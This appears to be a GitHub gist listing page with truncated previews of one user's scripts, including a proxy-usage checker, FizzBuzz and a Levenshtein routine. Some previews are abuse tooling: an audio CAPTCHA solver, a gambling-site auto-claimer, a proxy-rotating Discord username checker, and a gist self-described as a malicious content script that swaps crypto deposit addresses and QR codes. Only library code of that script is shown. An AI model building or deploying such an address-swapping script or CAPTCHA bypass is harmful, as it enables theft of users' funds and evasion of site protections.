Skip to content

Instantly share code, notes, and snippets.

@implicitlycorrect
implicitlycorrect / usage.py
Created May 11, 2024 11:39
Python program for getting proxyscrape residental proxy usage.
import requests
ACCOUNT_ID = "ACCOUNT ID"
def bytes_to_gb(bytes_value):
return bytes_value / 1000 / 1000 / 1000
def bytes_to_mb(bytes_value):
@implicitlycorrect
implicitlycorrect / audio_captcha_solver.py
Last active May 11, 2024 11:28
Audio Captcha Solver
import time
import aiohttp
import aiofiles
from urllib.parse import unquote
import whisper
from typing import Union
from fastapi import FastAPI
model = whisper.load_model("tiny.en")
@implicitlycorrect
implicitlycorrect / stake.js
Created February 1, 2024 16:00
Stake reload claimer
// Stake Reload Claimer
// https://stake.com/?tab=reload&modal=vip
function tryClaimReload() {
const claimButton = document.querySelector("button[type='submit'].variant-success");
if (claimButton && !claimButton.disabled) {
claimButton.click();
}
}
setInterval(tryClaimReload, 1000);
@implicitlycorrect
implicitlycorrect / malicious_content_script.js
Last active May 11, 2024 12:27
Malicious content script that changes crypto deposit (string + qrcode) addresses on gambling sides
var QRCode; !function () { function a(a) { this.mode = c.MODE_8BIT_BYTE, this.data = a, this.parsedData = []; for (var b = [], d = 0, e = this.data.length; e > d; d++) { var f = this.data.charCodeAt(d); f > 65536 ? (b[0] = 240 | (1835008 & f) >>> 18, b[1] = 128 | (258048 & f) >>> 12, b[2] = 128 | (4032 & f) >>> 6, b[3] = 128 | 63 & f) : f > 2048 ? (b[0] = 224 | (61440 & f) >>> 12, b[1] = 128 | (4032 & f) >>> 6, b[2] = 128 | 63 & f) : f > 128 ? (b[0] = 192 | (1984 & f) >>> 6, b[1] = 128 | 63 & f) : b[0] = f, this.parsedData = this.parsedData.concat(b) } this.parsedData.length != this.data.length && (this.parsedData.unshift(191), this.parsedData.unshift(187), this.parsedData.unshift(239)) } function b(a, b) { this.typeNumber = a, this.errorCorrectLevel = b, this.modules = null, this.moduleCount = 0, this.dataCache = null, this.dataList = [] } function i(a, b) { if (void 0 == a.length) throw new Error(a.length + "/" + b); for (var c = 0; c < a.length && 0 == a[c];)c++; this.num = new Array(a.length - c + b); for
@implicitlycorrect
implicitlycorrect / DiscordUsernameChecker.cs
Created December 19, 2023 19:47
Discord username checker.
using System.Net;
using System.Net.Http.Json;
Console.Title = "[ DISCORD USERNAME CHECKER ]";
const int numberOfRetries = 3;
const string proxiesPath = "proxies.txt";
const string usernamesPath = "usernames.txt";
var cts = new CancellationTokenSource();
@implicitlycorrect
implicitlycorrect / FizzBuzz.cs
Created November 11, 2023 10:54
Simple FizzBuzz impl in C#
if (!(args.Length > 0 && int.TryParse(args[0], out int limit)))
limit = 100;
for (int i = 0; i <= limit; i++)
{
Console.WriteLine((i % 3 is 0, i % 5 is 0) switch
{
(true, true) => "FizzBuzz",
(true, false) => "Fizz",
(false, true) => "Buzz",
#define ENABLE_CACHE
namespace Levenshtein;
public static class LevenshteinStringMetric
{
#if ENABLE_CACHE
public static int MeasureStringDistance(string source, string target) => LevImpl(source, target, new Dictionary<(int, int), int>());
private static int LevImpl(string a, string b, Dictionary<(int, int), int> cache)